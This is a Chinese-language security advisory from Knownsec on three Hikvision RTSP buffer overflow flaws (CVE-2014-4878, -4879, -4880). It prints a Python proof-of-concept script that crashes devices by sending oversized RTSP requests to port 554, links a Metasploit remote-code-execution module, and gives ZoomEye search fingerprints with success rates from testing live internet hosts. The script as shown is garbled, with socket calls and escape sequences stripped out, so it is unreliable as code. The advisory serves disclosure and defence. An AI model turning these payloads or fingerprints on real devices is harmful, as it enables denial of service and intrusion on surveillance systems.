2024年3月5日发(作者:)
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
密级
公开
海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要
[第四版 2014/11/30 上午]
知道创宇安全研究团队
北京知道创宇信息技术有限公司 第1页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
1. 更新情况
版本 时间
第一版 2014/11/28 下午
第二版 2014/11/28 晚
描述
第一版完成。
1. 新增:ZoomEye 应急数据;
2. 新增:ZoomEye 第一组数据:批量测试;
3. 新增:ZoomEye 第二组数据:设备数量及状态;
1. 更新:细节修正;
2. 新增:ZoomEye 第一组数据:添加测试数据;
3. 更新:ZoomEye 第二组数据:测试结果更新;
1. 更新:修正一些小问题;
2. 新增:ZoomEye 第二组数据:国内设备分布情况;
第三版 2014/11/29 下午
第四版 2014/11/30 上午
2. 漏洞概要
2014年11月19日,海康威视(Hikvision)监控设备被爆严重漏洞,具体编号为CVE-2014-4878、CVE-2014-4879和CVE-2014-4880。这三个漏洞都是由于Hikvision监控设备对RTSP(实时流传输协议)请求处理不当导致的,通过该漏洞攻击者可以对设备进行DoS,甚至直接获取设备的最高权限。
a) 漏洞描述
海康威视(Hikvision)监控设备在年初时就曾被爆过后台弱口令漏洞,攻击者可以通过弱口令进入后台对设备进行查看或者配置。这次所爆出3个漏洞都因海康威视(Hikivision)监控设备在处理RTSP请求时,使用了固定的缓冲区来接收用户输入,从而用户可发送一个更大的数据来进行请求,最终导致服务端缓冲区溢出。攻击者可以通过溢出来改变服务端的程序执行流程,从而执行任意代码。
有关RTSP协议的RFC文档可以看这里:
/rfc/
漏洞信息相关:
/community/metasploit/blog/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities
根据Rapi7的报告,其漏洞触发点都在RTSP协议的具体实现里。
CVE-2014-4878:根据报告描述,其漏洞成因是在Hikvision的监控设备处理RTSP请求时,使用了固定的缓冲区接受body,当攻击者发送一个较大的body时,可能会产生溢出,致使服务crash等。
CVE-2014-4879:RTSP对请求头的处理同样也使用了固定大小的缓冲区,攻击者可以构造一个足够长的头部来填满缓冲区,产生溢出。
北京知道创宇信息技术有限公司 第2页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
CVE-2014-4880:RTSP在对事务对基础认证头进行处理的时候,同样由于使用了固定的缓冲区,导致攻击者可通过构造来进行溢出,甚至执行任意命令。
b) 漏洞影响
海康威视安防设备,此次漏洞可能会影响到:
启用了RTSP(端口554)的设备。
c) 漏洞验证
可以运行以下脚本来检查设备是否存在此次漏洞(对开启了RTSP的Hikvision监控设备进行测试),程序带有攻击性,请谨慎使用:
测试脚本(hikvision_rtsp_buffer_overflow_):
#!/usr/bin/env python
# coding: utf-8
import sys
import socket
from time import sleep
def cve20144878_poc(host):
payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host
payload += 'CSeq: 7rn'
payload += 'Authorization: Basic AAAAAAArn'
payload += 'Content-length: 3200rnrn'
payload += 'A' * 3200
return payload
def cve20144879_poc(host):
payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host
payload += 'Authorization'
payload += 'A' * 1024
payload += ': Basic AAAAAAArnrn'
return payload
def cve20144880_poc(host):
payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host
payload += 'CSeq: 7rn'
payload += 'Authorization: Basic '
payload += 'A' * 2048
北京知道创宇信息技术有限公司 第3页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
payload += 'rnrn'
payload += 'B' * 1024
return payload
def check_port_on(host):
soc = (_INET, _STREAM)
check_target = (host, 554)
port_status = t_ex(check_target)
if port_status == 0:
return True
else:
return False
def check_vuln_exists(host, poc):
soc = (_INET, _STREAM)
try:
t((host, 554))
except :
return False
if poc == '1':
payload = cve20144878_poc(host)
elif poc == '2':
payload = cve20144879_poc(host)
else:
payload = cve20144880_poc(host)
(payload)
()
sleep(1) # sleep to wait server crash
soc = (_INET, _STREAM)
try:
t((host, 554))
except :
return True
return False
北京知道创宇信息技术有限公司 第4页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
if __name__ == '__main__':
if .__len__() < 3:
print 'nUsage: %s
print 'n[-] POC choose'
print 't1 ==> CVE-2014-4878'
print 't2 ==> CVE-2014-4879'
print 't3 ==> CVE-2014-4880'
()
target = [1]
poc_number = [2]
if poc_number not in '123':
print 'Choose one POC.'
()
if check_port_on(target):
vuln_exists = check_vuln_exists(target, poc_number)
if vuln_exists:
print 'Target is vulnerable.'
else:
print 'Target may not be vulnerable.'
else:
print 'RTSP(port 554) closed'
执行脚本进行测试,如果通过向目标554端口发送恶意构造的payload,导致服务端缓冲区溢出,导致服务crash,但设备默认具有自启动功能。因此利用此次漏洞,攻击者可以对监控设备进行DoS攻击。(再次提醒此测试脚本具有攻击性,请谨慎使用)
以下是一些测试截图:
CVE-2014-4878测试:
CVE-2014-4879测试:
北京知道创宇信息技术有限公司 第5页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
CVE-2014-4880测试:
有关CVE-2014-4880的利用,msf也给出了相应的攻击模块,其只对Hikvision-DS-7204-HVI-SV且固件为V2.2.10 build 131009的设备进行了测试。因设备的差异,导致shellcode可能不通用,因此要测试所有设备,还需对每种设备服务crash后的堆栈情况进行分析,构造出相应的shellcode。
msf攻击测试模块链接如下:
/mschloesser-r7/metasploit-framework/blob/master/modules/exploits/linux/misc/hikvision_rtsp_(此脚本具有攻击性,请谨慎测试)
3. ZoomEye应急概要
此次爆出的海康威视(Hikvision)安防设备远程代码执行漏洞主要是因为RTSP协议实现不当造成的,去年也曾爆过类似的洞(/advisories/hikvision-ip-cameras-multiple-vulnerabilities),但好像并没有引起重视。海康威视(Hikvision)安防设备在全球有着不小的用户量,此次漏洞虽然只针对RTSP协议,但从小量的测试结果可以看出危害还是不能忽视的。
来自知道创宇的ZoomEye团队(钟馗之眼网络空间探知系统)针对此次漏洞,通过几种方式的检测,得到了些影响结论。
注意:以下这些主机都是可被直接远程攻击的,属于高危级别!
a) 第一组数据
2014/11/28
通过ZoomEye对海康威视(Hikvision)安防设备的第一个指纹进行搜索:"DVRDVS Webs",从中随机提取101条结果进行测试。
北京知道创宇信息技术有限公司 第6页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
最终结果为:
101个测试目标中,开放了RTSP(即554端口)的有58个;58个开放了RTSP的目标中,验证成功的有57个,只有1个没有验证成功。
RTSP(即554端口)开放率:57.42%
测试成功率:98.27%
2014/11/29
通过ZoomEye对海康威视(Hikvision)安防设备的第二个指纹进行搜索:"Hikvision Webs",从中随机提取102条结果进行测试。
北京知道创宇信息技术有限公司 第7页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
最终结果为:
102个测试目标中,开放了RTSP(即554端口)的有27个;27个开放了RTSP的目标中,验证成功的有25个,只有2个没有验证成功。
RTSP(即554端口)开放率:26.47%
测试成功率:92.59%
b) 第二组数据
2014/11/28
ZoomEye针对全国范围内的海康威视(Hikvision)安防设备进行了扫描,得到的数据为:
指纹 数量(台)
10911
开放了RTSP的设备数量(台)
4617
2366
RTSP开放率
42.31%
21.76%
DVRDVS Webs
Hikvision Webs
10869
(注:因此次漏洞可能导致DoS,所以并没有进行大规模测试验证)
从RTSP启动的情况来看,全国大约有32.06%的海康威视安防设备开放了RTSP。
结合第一组数据得到的结果,可以推算出全国大约还有30.59%的海康威视安防设备可能受到被攻击的危险。
2014/11/30
ZoomEye 团队针对全国范围内的 Hikvision 设备绘制了漏洞影响分布图。
从图中可以明显看出,江浙一带的海康威视(Hikvision)安防设备分布极其密集。
北京知道创宇信息技术有限公司 第8页
文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4
4. 相关资源链接
1. 知道创宇官网:/
2. 知道创宇旗下 - ZoomEye官网:/
北京知道创宇信息技术有限公司 第9页


发布评论